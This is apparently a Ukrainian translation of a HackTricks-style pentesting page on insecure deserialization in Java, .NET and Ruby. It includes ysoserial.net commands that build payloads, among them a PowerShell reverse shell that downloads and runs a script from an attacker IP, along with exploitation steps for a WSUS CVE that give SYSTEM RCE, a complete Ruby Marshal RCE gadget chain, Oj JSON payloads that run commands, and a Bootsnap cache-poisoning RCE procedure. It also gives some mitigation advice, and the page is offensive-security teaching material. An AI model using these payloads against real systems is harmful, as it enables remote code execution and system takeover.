Використання зовнішніх бібліотек для підвищення безпеки: Бібліотеки такі як NotSoSerial, jdeserialize та Kryo пропонують розширені можливості для контролю і моніторингу Java deserialization. Ці бібліотеки можуть надати додаткові рівні захисту, наприклад white/blacklisting класів, аналіз serialized об’єктів перед deserializing та реалізацію кастомних стратегій сериалізації.

  • NotSoSerial перехоплює процеси deserialization, щоб запобігти виконанню неперевіреного коду.
  • jdeserialize дозволяє аналізувати serialized Java objects без їх deserializing, допомагаючи виявити потенційно шкідливий вміст.
  • Kryo — альтернативний serialization framework, що робить акцент на швидкості та ефективності, пропонуючи конфігуровані стратегії serialization, які можуть підвищити безпеку.

References

JNDI Injection & log4Shell

Знайдіть, що таке JNDI Injection, як його зловживати через RMI, CORBA & LDAP та як експлуатувати log4shell (а також приклад цієї вразливості) на наступній сторінці:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API — це Java message-oriented middleware API для відправки повідомлень між двома або більше клієнтами. Це реалізація для вирішення producer–consumer проблеми. JMS є частиною Java Platform, Enterprise Edition (Java EE), і був визначений специфікацією, розробленою в Sun Microsystems, але відтоді керівництво здійснюється Java Community Process. Це messaging standard, який дозволяє компонентам додатків на базі Java EE створювати, відправляти, отримувати та читати повідомлення. Він забезпечує можливість взаємодії між різними компонентами розподіленого додатку таким чином, щоб вона була loosely coupled, reliable та asynchronous. (From Wikipedia).

Products

Існує кілька продуктів, що використовують це middleware для відправки повідомлень:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Отже, по суті існує багато сервісів, що використовують JMS небезпечним чином. Тому, якщо у вас є достатні привілеї для відправлення повідомлень до цих сервісів (зазвичай потрібні валідні credentials), ви можете відправити malicious objects serialized, які будуть deserialized споживачем/subscriber’ом.
Це означає, що під час такої експлуатації всі clients, які будуть використовувати це повідомлення, можуть бути скомпрометовані.

Потрібно пам’ятати, що навіть якщо сервіс вразливий (оскільки небезпечно deserializing user input), вам все одно потрібно знайти валідні gadgets для експлуатації вразливості.

Інструмент JMET був створений, щоб підключатися та атакувати ці сервіси, відправляючи кілька malicious objects serialized з використанням відомих gadgets. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який із використаних gadgets є в уразливому додатку.

References

.Net

В контексті .Net, deserialization експлойти працюють аналогічно тим, що зустрічаються в Java, де gadgets експлуатуються для виконання конкретного коду під час deserialization об’єкта.

Fingerprint

WhiteBox

Потрібно переглянути вихідний код на наявність:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Акцент слід робити на serializers, які дозволяють тип визначатися змінною під контролем користувача.

BlackBox

Пошук має бути спрямований на Base64 encoded string AAEAAAD///// або будь-який подібний патерн, який може бути десеріалізований на сервері, надаючи контроль над типом, що буде deserialized. Це може включати, але не обмежується, JSON або XML структурами з TypeObject або $type.

ysoserial.net

У цьому випадку ви можете використовувати інструмент ysoserial.net для створення deserialization експлойтів. Після завантаження репозиторію git ви повинні скомпілювати інструмент, наприклад, використовуючи Visual Studio.

Якщо ви хочете дізнатися, як ysoserial.net створює свій експлойт, ви можете переглянути цю сторінку, де пояснюється ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Основні опції ysoserial.net: --gadget, --formatter, --output та --plugin.

  • --gadget використовується для вказівки gadget, який будуть зловживати (вказує клас/функцію, що буде використана під час deserialization для виконання команд).
  • --formatter, використовується для вказівки методу для сериалізації експлойту (вам потрібно знати, яку бібліотеку використовує back-end для десеріалізації payload і використовувати ту ж саму для сериалізації).
  • --output використовується, щоб вказати, чи хочете ви експлойт у вигляді raw чи base64. Зверніть увагу, що ysoserial.net буде кодирувати payload використовуючи UTF-16LE (кодування за замовчуванням у Windows), тому якщо ви отримаєте raw і просто закодуєте його з linux-консолі, у вас можуть виникнути проблеми з сумісністю кодування, які перешкоджатимуть правильній роботі експлойту (в HTB JSON box payload спрацював в обох UTF-16LE та ASCII, але це не гарантує, що так буде завжди).
  • --plugin ysoserial.net підтримує плагіни для створення експлойтів для специфічних фреймворків, наприклад ViewState

More ysoserial.net parameters

  • --minify надасть менший payload (якщо можливо)
  • --raf -f Json.Net -c "anything" Це покаже всі gadgets, які можна використовувати з вказаним formatter’ом (Json.Net в цьому випадку)
  • --sf xml ви можете вказати gadget (-g) і ysoserial.net шукатиме formatters, що містять “xml” (case insensitive)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net також має дуже цікавий параметр, який допомагає краще зрозуміти, як працює кожен експлойт: --test
Якщо вказати цей параметр, ysoserial.net спробує виконати експлойт локально, тож ви можете перевірити, чи ваш payload спрацює коректно.
Цей параметр корисний, тому що якщо переглянути код, ви знайдете шматки коду, як наведений нижче (з ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Це означає, що щоб протестувати exploit, код викличе serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

У наведеному вище коді є вразливість для exploit, що було створено. Тож якщо ви знайдете щось подібне в .Net‑застосунку, це, ймовірно, означає, що той застосунок також уразливий.
Тому параметр --test дозволяє нам з’ясувати які частини коду є вразливими до desrialization exploit, який може створити ysoserial.net.

ViewState

Перегляньте this POST about how to try to exploit the __ViewState parameter of .Net to виконати довільний код. Якщо ви вже знаєте the secrets, які використовує машина жертви, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Уражені кінцеві точки:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie розшифровано, а потім десеріалізовано за допомогою BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch та пов’язані SOAP операції, які доходять до SoapFormatter sinks; base64 gadget обробляється, коли WSUS console приймає подію.
  • Корінна причина: байти, контрольовані атакуючим, потрапляють до застарілих .NET formatters (BinaryFormatter/SoapFormatter) без суворих allow‑lists/binders, тож gadget chains виконуються від імені сервісного облікового запису WSUS (часто SYSTEM).

Мінімальна експлуатація (Reporting path):

  1. Згенеруйте .NET gadget за допомогою ysoserial.net (BinaryFormatter або SoapFormatter) та виведіть base64, наприклад:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Сформуйте SOAP для ReportEventBatch, вбудувавши base64 gadget, і POST’ом відправте його на /ReportingWebService.asmx.
  2. Коли адміністратор відкриває консоль WSUS, подія десеріалізується і gadget спрацьовує (RCE як SYSTEM).

AuthorizationCookie / GetCookie()

  • Підроблений AuthorizationCookie може бути прийнятий, розшифрований і переданий у BinaryFormatter sink, що дозволяє pre‑auth RCE, якщо досяжний.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

Запобігання

To mitigate the risks associated with deserialization in .Net:

  • Avoid allowing data streams to define their object types. Utilize DataContractSerializer or XmlSerializer when possible.
  • For JSON.Net, set TypeNameHandling to None: TypeNameHandling = TypeNameHandling.None
  • Avoid using JavaScriptSerializer with a JavaScriptTypeResolver.
  • Limit the types that can be deserialized, understanding the inherent risks with .Net types, such as System.IO.FileInfo, which can modify server files’ properties, potentially leading to denial of service attacks.
  • Be cautious with types having risky properties, like System.ComponentModel.DataAnnotations.ValidationException with its Value property, which can be exploited.
  • Securely control type instantiation to prevent attackers from influencing the deserialization process, rendering even DataContractSerializer or XmlSerializer vulnerable.
  • Implement white list controls using a custom SerializationBinder for BinaryFormatter and JSON.Net.
  • Stay informed about known insecure deserialization gadgets within .Net and ensure deserializers do not instantiate such types.
  • Isolate potentially risky code from code with internet access to avoid exposing known gadgets, such as System.Windows.Data.ObjectDataProvider in WPF applications, to untrusted data sources.

Посилання

Ruby

У Ruby серіалізація реалізована двома методами з бібліотеки marshal. Перший метод, відомий як dump, використовується для перетворення об’єкта в потік байтів — процес, який називають серіалізацією. Натомість другий метод, load, застосовується для відновлення потоку байтів назад у об’єкт — процес, який називають десеріалізацією.

Для захисту серіалізованих об’єктів Ruby використовує HMAC (Hash-Based Message Authentication Code), що забезпечує цілісність і автентичність даних. Ключ, який використовується для цього, зберігається в одному з таких місць:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (детальніше: https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Інший ланцюжок RCE для експлуатації Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Як пояснюється в this vulnerability report, якщо несфільтрований ввід від користувача потрапляє в .send() метод ruby-об’єкта, цей метод дозволяє викликати будь-який інший метод об’єкта з будь-якими параметрами.

Наприклад, виклик eval, а потім ruby code як другого параметра дозволить виконати довільний код:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Крім того, якщо тільки один параметр .send() контролюється attacker, як зазначено в попередньому writeup, можна викликати будь-який метод об’єкта, який не потребує аргументів або аргументи якого мають значення за замовчуванням.
Для цього можна перелічити всі методи об’єкта, щоб знайти цікаві методи, які задовольняють ці вимоги.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Перевірте, як це може бути можливим: pollute a Ruby class and abuse it in here.

Ruby _json pollution

Коли в тілі запиту надсилаються деякі значення, які не є hashabled (наприклад array), вони будуть додані в новий ключ під назвою _json. Однак attacker також може встановити в тілі значення з ім’ям _json з довільними значеннями, які він бажає. Якщо, наприклад, backend перевіряє достовірність параметра, але потім також використовує параметр _json для виконання якоїсь дії, може відбутися authorisation bypass.

Детальніше див. на Ruby _json pollution page.

Інші бібліотеки

Цю техніку взято from this blog post.

Існують інші Ruby бібліотеки, які можуть використовуватися для serialize об’єктів і, отже, можуть бути зловживані для отримання RCE під час insecure deserialization. Наведена нижче таблиця показує деякі з цих бібліотек та метод, який викликається у завантаженому класі щоразу при його unserialized (функція, якою можна зловживати для отримання RCE):

LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Базовий приклад:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

У випадку спроби зловживання Oj вдалося знайти gadget class, у якому hash викликає to_s, далі викликається spec, який викликає fetch_path — останній можна змусити отримати випадковий URL, що дає чудовий детектор таких unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Крім того, було виявлено, що попередня техніка також створює папку в системі — це необхідна умова для зловживання іншим gadget, щоб перетворити це на повноцінний RCE за допомогою чогось на кшталт:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Кешування bootstrap

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Нижче коротке резюме кроків, детально описаних у статті, для експлуатації вразливості довільного запису файлу шляхом зловживання кешуванням Bootsnap:

  • Identify the Vulnerability and Environment

    The Rails app’s file upload functionality lets an attacker write files arbitrarily. Although the app runs with restrictions (only certain directories like tmp are writable due to Docker’s non-root user), this still allows writing to the Bootsnap cache directory (typically under tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

    Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. It stores cache files that include a cache key header (with fields like Ruby version, file size, mtime, compile options, etc.) followed by the compiled code. This header is used to validate the cache during app startup.

  • Gather File Metadata

    The attacker first selects a target file that is likely loaded during Rails startup (for example, set.rb from Ruby’s standard library). By executing Ruby code inside the container, they extract critical metadata (such as RUBY_VERSION, RUBY_REVISION, size, mtime, and compile_option). This data is essential for crafting a valid cache key.

  • Compute the Cache File Path

    By replicating Bootsnap’s FNV-1a 64-bit hash mechanism, the correct cache file path is determined. This step ensures that the malicious cache file is placed exactly where Bootsnap expects it (e.g., under tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

    The attacker prepares a payload that:

    • Executes arbitrary commands (for example, running id to show process info).
    • Removes the malicious cache after execution to prevent recursive exploitation.
    • Loads the original file (e.g., set.rb) to avoid crashing the application.

    This payload is compiled into binary Ruby code and concatenated with a carefully constructed cache key header (using the previously gathered metadata and the correct version number for Bootsnap).

  • Overwrite and Trigger Execution

    Using the arbitrary file write vulnerability, the attacker writes the crafted cache file to the computed location. Next, they trigger a server restart (by writing to tmp/restart.txt, which is monitored by Puma). During restart, when Rails requires the targeted file, the malicious cache file is loaded, resulting in remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Мінімальний вразливий шлях коду Rails:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Поширені gadget-класи, що зустрічаються в реальних ланцюжках: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Типовий маркер побічного ефекту, вбудований у payloads (виконується під час unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Where it surfaces in real apps:

  • Rails cache stores and session stores historically using Marshal
  • Бекенди фонових завдань та файлові сховища об’єктів
  • Будь-яка власна персистенція або транспортування бінарних blob-об’єктів

Industrialized gadget discovery:

  • Grep for constructors, hash, _load, init_with, or side-effectful methods invoked during unmarshal
  • Використовуйте CodeQL’s Ruby unsafe deserialization запити, щоб трасувати sources → sinks і виявляти gadgets
  • Перевіряйте за допомогою публічних multi-format PoCs (JSON/XML/YAML/Marshal)

Джерела

  • Trail of Bits – Marshal madness: Коротка історія експлойтів Ruby deserialization: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Універсальний ланцюг gadget’ів RCE для Ruby 2.x: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal ланцюг: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Виявлення gadget-ланцюжків у Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Чи це погано? Це виглядає погано — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks